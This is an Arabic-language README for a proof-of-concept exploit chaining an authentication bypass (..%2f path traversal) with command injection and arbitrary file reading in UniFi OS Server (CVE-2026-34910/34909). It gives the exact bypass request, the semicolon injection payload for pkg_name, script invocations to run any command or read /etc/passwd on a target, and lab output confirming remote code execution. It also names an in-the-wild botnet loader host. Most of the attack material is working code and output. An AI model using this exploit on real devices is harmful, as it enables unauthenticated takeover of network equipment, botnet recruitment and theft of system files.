
CVE-2026-34910/34909 — RCE بدون مصادقة في UniFi OS + قراءة ملفات عبر تجاوز المصادقة بـ ..%2f (CVSS 10.0, KEV, Mirai ITW)
تنفيذ أوامر عن بُعد (RCE) عبر حقن الأوامر دون مصادقة (CVE-2026-34910) + قراءة ملفات عشوائية عبر تجاوز المسار (Path Traversal) (CVE-2026-34909) في UniFi OS Server.
CVSS 10.0 (حرجة) لكل منهما · مُدرجة في CISA KEV · مُستغلة فعليًا من قِبل
بوت نت مشتق من Mirai (برمجية azsxd الخبيثة).
تتضمن Ubiquiti UniFi OS بوابة مصادقة nginx تتعامل مع أي طلب يبدأ URI الخام الخاص به بـ /api/auth/validate-sso/ على أنه عام (public)، لكنها تُوجّه الطلبات بناءً على URI المُطبَّع (يفكّ ترميز %2f → / ويُدمج ../). يؤدي ترميز تجاوز المسار إلى تباعد الاثنين:
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true
→ يصل إلى معالج تحديث الحزمة الداخلي، الذي يمرر pkg_name إلى
/bin/sh -c → تنفيذ أوامر عن بُعد (RCE) دون مصادقة في طلب واحد.
نفس الآلية الأولية ضد /app-assets/... تقرأ الملفات من القرص
(CVE-2026-34909).
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check
# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"
# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof
# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
تُحقن حمولة RCE فاصلة منقوطة في أمر shell الداخلي للمعالج
sudo systemctl stop <pkg_name>: pkg_name=evil;<CMD> →
sudo systemctl stop evil;<CMD> — يُنفَّذ الأمر المحقون على المضيف
بصفة المستخدم ucs-update.
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Command: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Response: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] Request sent — command executed on target
# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug 9 21:52 /tmp/PWNED_34910 ✅ FILE CREATED
✅ تم التحقق بالكامل — تأكيد RCE ضد UniFi OS Server 5.0.6 الحقيقي (قابل للاستغلال، اكتمل الإعداد) يعمل في Docker (hieutq/unifi-os-server:5.0.6-amd64):
- تجاوز المصادقة عبر
..%2fيصل إلى معالجlatest_packageالداخلي (الاستجابة:CODE_SYSTEM_ERROR/ "pkg_name required" — وليس خطأ 400 من nginx).pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=trueأنشأ الملف على الهدف (-rw-r--r-- ucs-update) → حقن أوامر → تأكيد RCE.- ضد UniFi OS 5.1.21 المُرقَّع، يُرجع الطلب نفسه HTTP 400 (يرفض nginx التباعد بين URI الخام وURI المُطبَّع)، مما يؤكد نتيجة سلبية نظيفة.
اكتمل الإعداد عبر معالج الويب الحقيقي (اسم الجهاز → بيانات الاعتماد → كلمة مرور الكونسول → إنهاء)، لذا تتطابق بيئة المختبر مع جهاز مثبَّت في بيئة إنتاج.
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] VULNERABLE — handler reached (pkg_name required)
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] File: /etc/passwd
[*] HTTP 200
[+] File contents (80 bytes):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
| CVE | الخطورة | المتأثر | المُصلح |
|---|---|---|---|
| CVE-2026-34910 | 10.0 حرجة | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34909 | 10.0 حرجة | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34908 | 10.0 حرجة | UniFi OS Server (pre-SAB-064) | SAB-064 |
سلسلة بوتنت مشتقة من Mirai/Gafgyt (حمولة azsxd v2.0) تربط تجاوز المصادقة +
حقن الأوامر لتحقيق RCE غير مُصادق عليه — محمّل متعدد المعماريات مُجهّز من
185.228.26.16. راجع مقالة pwndefend.
لأغراض اختبار الأمان المصرّح به والأغراض التعليمية فقط.